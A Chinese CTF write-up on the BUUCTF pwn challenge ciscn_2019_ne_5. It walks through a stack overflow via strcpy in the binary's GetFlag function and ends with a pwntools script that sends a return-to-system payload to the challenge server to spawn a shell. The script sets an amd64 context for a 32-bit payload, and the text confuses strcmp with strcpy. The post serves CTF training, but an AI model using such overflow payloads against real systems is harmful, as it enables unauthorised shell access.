ciscn_2019_ne_5来自BUUCTF

这是一道ret2text类型的题目

这个题刚开始做的时候出了一个小的插曲,就是放进IDA中在main函数中按F5不能出现伪代码

 

 

 出现了错误有点小懵。不过没关系问题很好解决:复制报错提示的地址8048801在IDA中的菜单栏中找到跳转 选择跳转到指定地址输入地址

 

 来到这个地方接着我们双击这个 在按f5 之后再点main函数

 

 

 

 

 

 发现有两处输入第一处呢必须输入 administrator 。第二初输入数字一个switch 循环

 

 

 

 

 

 

 

 这个switch 循环中输入不同数字后执行的函数

我们的思路是:先输入administrator 在输入1 进入AddLog函数因为只有进入这个函数我们才能发送payload 因为GetFlag函数中的strcpy函数存在溢出。关于strcmp函数与栈溢出的关系百度一下

from pwn import*
context(arch='amd64',os='linux')
r=remote('node4.buuoj.cn',28290)
r.sendlineafter("Please input admin password:","administrator")
r.sendlineafter("0.Exit\n:","1")
payload='a'*(0x48+0x4)+p32(0x80484d0)+'aaaa'+p32(0x80482ea)
r.sendlineafter("Please input new log info:",payload)
r.sendlineafter("0.Exit\n:","4")
r.interactive()

 

posted @ 2021-08-25 17:56  Mua_Uncle_W  阅读(190)  评论(0)    收藏  举报